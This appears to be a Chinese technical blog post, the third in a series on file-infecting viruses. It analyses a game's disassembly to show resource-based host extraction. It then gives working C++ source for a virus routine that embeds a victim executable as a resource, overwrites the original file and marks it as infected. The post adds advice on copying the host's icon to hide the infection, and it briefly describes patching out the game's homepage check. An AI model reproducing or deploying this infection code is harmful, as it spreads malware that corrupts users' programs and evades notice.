关于感染型病毒的那些事(三)

前段时间,我在网上下载了一个3D游戏,想要玩的时候却被提示需要将IE的主页设置为特定的网址才能玩这个游戏.对于我这种有"系统洁癖"的人来说,最反感的就是这种要求,用Peid查了下,发现没有加壳,一路跟下来,发现这个程序也提供了一种病毒感染的思路,那就是资源感染,既将宿主程序作为病毒程序的一个资源保存,将附加了宿主程序资源的病毒程序覆盖原宿主程序,在打开病毒程序时,病毒发作同时将宿主程序释放出来,运行之.这个3D游戏的反汇编片段:

 

  1. /**************************************************************** 
  2. .text:004012F8 loc_4012F8:                             ; CODE XREF: sub_4010C0+231j 
  3. .text:004012F8                 lea     ecx, [esp+12B4h+var_12A0] 
  4. .text:004012FC                 call    ??1CString@@QAE@XZ ; CString::~CString(void) 
  5. .text:00401301                 mov     eax, [esp+12B4h+var_1294] 
  6. .text:00401305                 add     esi, 4 
  7. .text:00401308                 cmp     esi, eax 
  8. .text:0040130A                 jnz     short loc_4012CF 
  9. .text:0040130C                 cmp     edi, 1 
  10. .text:0040130F                 jnz     loc_401470 
  11. .text:00401315                 mov     ecx, 3FFh 
  12. .text:0040131A                 xor     eax, eax 
  13. .text:0040131C                 lea     edi, [esp+12B4h+var_100B] 
  14. .text:00401323                 mov     [esp+12B4h+Filename], bl 
  15. .text:0040132A                 rep stosd 
  16. .text:0040132C                 stosw 
  17. .text:0040132E                 lea     ecx, [esp+12B4h+Filename] 
  18. .text:00401335                 push    1000h           ; nSize 
  19. .text:0040133A                 push    ecx             ; lpFilename 
  20. .text:0040133B                 push    ebx             ; hModule 
  21. .text:0040133C                 stosb 
  22. .text:0040133D                 call    ds:GetModuleFileNameA 
  23. .text:00401343 loc_401343:                             ; CODE XREF: sub_4010C0+28Ej 
  24. .text:00401343                 mov     dl, [esp+eax+12B4h+Filename] 
  25. .text:0040134A                 dec     eax 
  26. .text:0040134B                 cmp     dl, 5Ch 
  27. .text:0040134E                 jnz     short loc_401343 
  28. .text:00401350                 mov     [esp+eax+12B4h+var_100B], bl 
  29. .text:00401357                 lea     eax, [esp+12B4h+Filename] 
  30. .text:0040135E                 push    eax 
  31. .text:0040135F                 lea     ecx, [esp+12B8h+var_12A0] 
  32. .text:00401363                 call    ??0CString@@QAE@PBD@Z ; CString::CString(char const *) 
  33. .text:00401368                 push    offset aRplay_cn_exe ; "//RpLay_cn.exe" 
  34. .text:0040136D                 lea     ecx, [esp+12B8h+var_12A0] 
  35. .text:00401371                 mov     byte ptr [esp+12B8h+var_4], 2 
  36. .text:00401379                 call    ??YCString@@QAEABV0@PBD@Z ; CString::operator+=(char const *) 
  37. .text:0040137E                 push    ecx             ; lpType 
  38. .text:0040137F                 mov     ecx, esp 
  39. .text:00401381                 mov     [esp+12B8h+var_126C], esp 
  40. .text:00401385                 push    offset unk_4062E4 
  41. .text:0040138A                 call    ??0CString@@QAE@PBD@Z ; CString::CString(char const *) 
  42. .text:0040138F                 push    9Dh             ; int 
  43. .text:00401394                 push    ebx 
  44. .text:00401395                 lea     ecx, [esp+12C0h+var_12A0] 
  45. .text:00401399                 mov     byte ptr [esp+12C0h+var_4], 3 
  46. .text:004013A1                 call    ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) 
  47. .text:004013A6                 push    ecx             ; lpFileName 
  48. .text:004013A7                 mov     ecx, esp 
  49. .text:004013A9                 mov     [esp+12C0h+var_1268], esp 
  50. .text:004013AD                 push    eax 
  51. .text:004013AE                 call    ??0CString@@QAE@PBD@Z ; CString::CString(char const *) 
  52. .text:004013B3                 mov     ecx, ebp 
  53. .text:004013B5                 mov     byte ptr [esp+12C0h+var_4], 2 
  54. .text:004013BD                 call    sub_401510 
  55.  
  56.     .text:00401510 ; int __stdcall sub_401510(LPCSTR lpFileName, int, LPCSTR lpType) 
  57.     .text:00401510 sub_401510      proc near               ; CODE XREF: sub_4010C0+2FDp 
  58.     .text:00401510 
  59.     .text:00401510 NumberOfBytesWritten= dword ptr -10h 
  60.     .text:00401510 var_C           = dword ptr -0Ch 
  61.     .text:00401510 var_4           = dword ptr -4 
  62.     .text:00401510 lpFileName      = dword ptr  4 
  63.     .text:00401510 arg_4           = dword ptr  8 
  64.     .text:00401510 lpType          = dword ptr  0Ch 
  65.     .text:00401510 
  66.     .text:00401510                 push    0FFFFFFFFh 
  67.     .text:00401512                 push    offset SEH_401510 
  68.     .text:00401517                 mov     eax, large fs:0 
  69.     .text:0040151D                 push    eax 
  70.     .text:0040151E                 mov     large fs:0, esp 
  71.     .text:00401525                 push    ecx 
  72.     .text:00401526                 push    ebx 
  73.     .text:00401527                 push    esi 
  74.     .text:00401528                 xor     ebx, ebx 
  75.     .text:0040152A                 mov     [esp+18h+var_4], ebx 
  76.     .text:0040152E                 mov     eax, [esp+18h+lpFileName] 
  77.     .text:00401532                 push    ebx             ; hTemplateFile 
  78.     .text:00401533                 push    6               ; dwFlagsAndAttributes 
  79.     .text:00401535                 push    2               ; dwCreationDisposition 
  80.     .text:00401537                 push    ebx             ; lpSecurityAttributes 
  81.     .text:00401538                 push    2               ; dwShareMode 
  82.     .text:0040153A                 push    40000000h       ; dwDesiredAccess 
  83.     .text:0040153F                 push    eax             ; lpFileName 
  84.     .text:00401540                 mov     [esp+34h+NumberOfBytesWritten], ebx 
  85.     .text:00401544                 call    ds:CreateFileA 
  86.     .text:0040154A                 mov     esi, eax 
  87.     .text:0040154C                 cmp     esi, 0FFFFFFFFh 
  88.     .text:0040154F                 jnz     short loc_401580 
  89.     .text:00401551                 lea     ecx, [esp+18h+lpFileName] 
  90.     .text:00401555                 mov     byte ptr [esp+18h+var_4], bl 
  91.     .text:00401559                 call    ??1CString@@QAE@XZ ; CString::~CString(void) 
  92.     .text:0040155E                 lea     ecx, [esp+18h+lpType] 
  93.     .text:00401562                 mov     [esp+18h+var_4], esi 
  94.     .text:00401566                 call    ??1CString@@QAE@XZ ; CString::~CString(void) 
  95.     .text:0040156B                 pop     esi 
  96.     .text:0040156C                 xor     eax, eax 
  97.     .text:0040156E                 pop     ebx 
  98.     .text:0040156F                 mov     ecx, [esp+10h+var_C] 
  99.     .text:00401573                 mov     large fs:0, ecx 
  100.     .text:0040157A                 add     esp, 10h 
  101.     .text:0040157D                 retn    0Ch 
  102.     .text:00401580 ; --------------------------------------------------------------------------- 
  103.     .text:00401580 
  104.     .text:00401580 loc_401580:                             ; CODE XREF: sub_401510+3Fj 
  105.     .text:00401580                 mov     edx, [esp+18h+arg_4] 
  106.     .text:00401584                 mov     ecx, [esp+18h+lpType] 
  107.     .text:00401588                 push    ebp 
  108.     .text:00401589                 push    edi 
  109.     .text:0040158A                 and     edx, 0FFFFh 
  110.     .text:00401590                 push    ecx             ; lpType 
  111.     .text:00401591                 push    edx             ; lpName 
  112.     .text:00401592                 push    ebx             ; hModule 
  113.     .text:00401593                 call    ds:FindResourceA 
  114.     .text:00401599                 mov     edi, eax 
  115.     .text:0040159B                 push    edi             ; hResInfo 
  116.     .text:0040159C                 push    ebx             ; hModule 
  117.     .text:0040159D                 call    ds:LoadResource 
  118.     .text:004015A3                 push    edi             ; hResInfo 
  119.     .text:004015A4                 push    ebx             ; hModule 
  120.     .text:004015A5                 mov     ebp, eax 
  121.     .text:004015A7                 call    ds:SizeofResource 
  122.     .text:004015AD                 lea     ecx, [esp+20h+NumberOfBytesWritten] 
  123.     .text:004015B1                 push    ebx             ; lpOverlapped 
  124.     .text:004015B2                 push    ecx             ; lpNumberOfBytesWritten 
  125.     .text:004015B3                 push    eax             ; nNumberOfBytesToWrite 
  126.     .text:004015B4                 push    ebp             ; lpBuffer 
  127.     .text:004015B5                 push    esi             ; hFile 
  128.     .text:004015B6                 call    ds:WriteFile 
  129.     .text:004015BC                 push    esi             ; hObject 
  130.     .text:004015BD                 call    ds:CloseHandle 
  131.     .text:004015C3                 lea     ecx, [esp+20h+lpFileName] 
  132.     .text:004015C7                 mov     byte ptr [esp+20h+var_4], bl 
  133.     .text:004015CB                 call    ??1CString@@QAE@XZ ; CString::~CString(void) 
  134.     .text:004015D0                 lea     ecx, [esp+20h+lpType] 
  135.     .text:004015D4                 mov     [esp+20h+var_4], 0FFFFFFFFh 
  136.     .text:004015DC                 call    ??1CString@@QAE@XZ ; CString::~CString(void) 
  137.     .text:004015E1                 mov     ecx, [esp+20h+var_C] 
  138.     .text:004015E5                 pop     edi 
  139.     .text:004015E6                 pop     ebp 
  140.     .text:004015E7                 pop     esi 
  141.     .text:004015E8                 mov     eax, 1 
  142.     .text:004015ED                 pop     ebx 
  143.     .text:004015EE                 mov     large fs:0, ecx 
  144.     .text:004015F5                 add     esp, 10h 
  145.     .text:004015F8                 retn    0Ch 
  146.     .text:004015F8 sub_401510      endp 
  147.  
  148. .text:004013C2                 lea     ecx, [esp+12B4h+StartupInfo] 
  149. .text:004013C6                 push    ecx             ; lpStartupInfo 
  150. .text:004013C7                 call    ds:GetStartupInfoA 
  151. .text:004013CD                 lea     edx, [esp+12B4h+ProcessInformation] 
  152. .text:004013D1                 lea     eax, [esp+12B4h+StartupInfo] 
  153. .text:004013D5                 push    edx             ; lpProcessInformation 
  154. .text:004013D6                 push    eax             ; lpStartupInfo 
  155. .text:004013D7                 push    ebx             ; lpCurrentDirectory 
  156. .text:004013D8                 push    ebx             ; lpEnvironment 
  157. .text:004013D9                 push    20h             ; dwCreationFlags 
  158. .text:004013DB                 push    ebx             ; bInheritHandles 
  159. .text:004013DC                 push    ebx             ; lpThreadAttributes 
  160. .text:004013DD                 push    ebx             ; lpProcessAttributes 
  161. .text:004013DE                 push    ebx 
  162. .text:004013DF                 lea     ecx, [esp+12D8h+var_12A0] 
  163. .text:004013E3                 call    ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) 
  164. .text:004013E8                 push    eax             ; lpCommandLine 
  165. .text:004013E9                 push    ebx             ; lpApplicationName 
  166. .text:004013EA                 call    ds:CreateProcessA 
  167. .text:004013F0                 test    eax, eax 
  168. .text:004013F2                 jz      short loc_40144C 
  169. .text:004013F4                 mov     ecx, [esp+12B4h+ProcessInformation.hProcess] 
  170. .text:004013F8                 push    0FFFFFFFFh      ; dwMilliseconds 
  171. .text:004013FA                 push    ecx             ; hHandle 
  172. .text:004013FB                 call    ds:WaitForSingleObject 
  173. .text:00401401                 mov     edx, [esp+12B4h+ProcessInformation.hProcess] 
  174. .text:00401405                 mov     esi, ds:CloseHandle 
  175. .text:0040140B                 push    edx             ; hObject 
  176. .text:0040140C                 call    esi ; CloseHandle 
  177. .text:0040140E                 mov     eax, [esp+12B4h+ProcessInformation.hThread] 
  178. .text:00401412                 push    eax             ; hObject 
  179. .text:00401413                 call    esi ; CloseHandle 
  180. .text:00401415                 mov     edi, ds:TerminateProcess 
  181. .text:0040141B                 mov     ebp, ds:DeleteFileA 
  182. .text:00401421                 xor     esi, esi 
  183. .text:00401423 loc_401423:                             ; CODE XREF: sub_4010C0+38Aj 
  184. .text:00401423                 mov     ecx, [esp+12B4h+ProcessInformation.hProcess] 
  185. .text:00401427                 push    ebx             ; uExitCode 
  186. .text:00401428                 push    ecx             ; hProcess 
  187. .text:00401429                 call    edi ; TerminateProcess 
  188. .text:0040142B                 push    ebx 
  189. .text:0040142C                 lea     ecx, [esp+12B8h+var_12A0] 
  190. .text:00401430                 call    ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) 
  191. .text:00401435                 push    eax             ; lpFileName 
  192. .text:00401436                 call    ebp ; DeleteFileA 
  193. .text:00401438                 test    eax, eax 
  194. .text:0040143A                 jnz     short loc_40145D 
  195. .text:0040143C                 inc     esi 
  196. .text:0040143D                 cmp     esi, 0Ah 
  197. .text:00401440                 jge     short loc_40145D 
  198. .text:00401442                 push    64h             ; dwMilliseconds 
  199. .text:00401444                 call    ds:Sleep 
  200. .text:0040144A                 jmp     short loc_401423 
  201. .text:0040144C ; --------------------------------------------------------------------------- 
  202. .text:0040144C 
  203. .text:0040144C loc_40144C:                             ; CODE XREF: sub_4010C0+332j 
  204. .text:0040144C                 push    ebx 
  205. .text:0040144D                 lea     ecx, [esp+12B8h+var_12A0] 
  206. .text:00401451                 call    ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) 
  207. .text:00401456                 push    eax             ; lpFileName 
  208. .text:00401457                 call    ds:DeleteFileA 
  209. ****************************************************************/  

 

    Csdn没有汇编代码的高亮- -,用C++的注释形式给出,上面的反汇编代码的思路是这样的:GetModuleFileNameA()获取当前程序路径,设置释放资源(宿主)程序的路径->CreateFileA()创建资源程序文件->FindResourceA()查找该资源->LoadResource()->SizeofResource()->WriteFile()通过载入,获取大小得到参数后写入->GetStartupInfoA()获取启动信息->CreateProcessA(),至此宿主程序已经启动,但等其运行完后,我们还要将其删除->WaitForSingleObject()等待ProcessInformation.hProcess,当宿主程序结束时会得到通知->CloseHandle()关闭ProcessInformation.hProcess和ProcessInformation.hThread->TerminateProcess()我觉得这步不是必须的,此时宿主程序本身已经结束运行了->DeleteFileA()删除刚才生成的资源程序文件.

    这个游戏的IE主页判断在释放资源之前,nop之后,单步到WriteFile之后把资源文件复制出来,之后启动就可以直接玩游戏了,这是题外话^_^

    这样提供了进行资源感染后,打开感染文件的一个运行流程.如何将宿主文件作为资源添加到病毒程序中去?利用UpdateResource()这个api来完成,具体代码如下(详见注释):

 

  1. void InfectFilesByResource(char *FileName)  
  2. {  
  3.     DWORD dwSizeOfFile;  
  4.     DWORD dwBytesUsed;  
  5.     char szTempVirusFile[MAX_PATH];  
  6.     HANDLE hFile;  
  7.     HRSRC hResource;  
  8.     LPBYTE lpBuffer;  
  9.     hFile = CreateFile(FileName,  
  10.         GENERIC_READ | GENERIC_WRITE,  
  11.         0,  
  12.         NULL,  
  13.         OPEN_EXISTING,  
  14.         FILE_ATTRIBUTE_ARCHIVE,  
  15.         NULL);  
  16.     if (INVALID_HANDLE_VALUE != hFile)  
  17.     {  
  18.         dwSizeOfFile = GetFileSize(hFile, NULL);  
  19.         //这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染  
  20.         if (dwSizeOfFile + dwSizeOfVirus > 0x100000)  
  21.         {  
  22.             CloseHandle(hFile);  
  23.             InfectFilesByInject(FileName);  
  24.             return;  
  25.         }  
  26.         lpBuffer = new BYTE[dwSizeOfFile];  
  27.         //将整个宿主程序读入Buffer当中  
  28.         if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE)  
  29.         {  
  30.             //这里生成一个临时文件,加入宿主程序作为资源  
  31.             GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile);  
  32.             //szDstFile是病毒程序路径  
  33.             CopyFile(szDstFile, szTempVirusFile, FALSE);  
  34.   
  35.             //下面更新病毒程序资源  
  36.             hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE);  
  37.             if (NULL != hResource)  
  38.             {  
  39.                 if (UpdateResource(hResource,   
  40.                         RT_RCDATA,   
  41.                         MAKEINTRESOURCE(520),   
  42.                         MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),   
  43.                         (LPVOID)lpBuffer,   
  44.                         dwBytesUsed) != FALSE)  
  45.                 {  
  46.                     EndUpdateResource(hResource, FALSE);  
  47.                 }  
  48.             }  
  49.         }  
  50.         delete[] lpBuffer;  
  51.         lpBuffer = NULL;  
  52.         CloseHandle(hFile);  
  53.   
  54.         //将加入了宿主程序资源的病毒程序覆盖原来宿主程序  
  55.         CopyFile(szTempVirusFile,FileName,FALSE);  
  56.         Sleep(100);  
  57.         //删除临时文件  
  58.         DeleteFile(szTempVirusFile);  
  59.         hFile = CreateFile(FileName,  
  60.             GENERIC_WRITE,  
  61.             0,  
  62.             NULL,  
  63.             OPEN_EXISTING,  
  64.             FILE_ATTRIBUTE_ARCHIVE,  
  65.             NULL);  
  66.         if (INVALID_HANDLE_VALUE != hFile)  
  67.         {  
  68.             SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN);  
  69.             //写入资源感染标志'R',位于DOS头  
  70.             WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL);  
  71.             CloseHandle(hFile);  
  72.         }         
  73.     }  
  74. }  

 

    这样就完成了资源感染,这个方法需要注意的一点是,你的病毒编译的时候是需要有初始资源的,如果本身病毒程序没有任何资源使用UpdateResource()将会失败.另外,如果采用这个感染方法,还要修改图标资源为宿主程序图标才能起到较好的隐蔽性,不然就是像熊猫烧香一样,明白着告诉人家,这个程序被感染了- -

    图片是感染后效果,图标改变

 

 

    To be continue...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值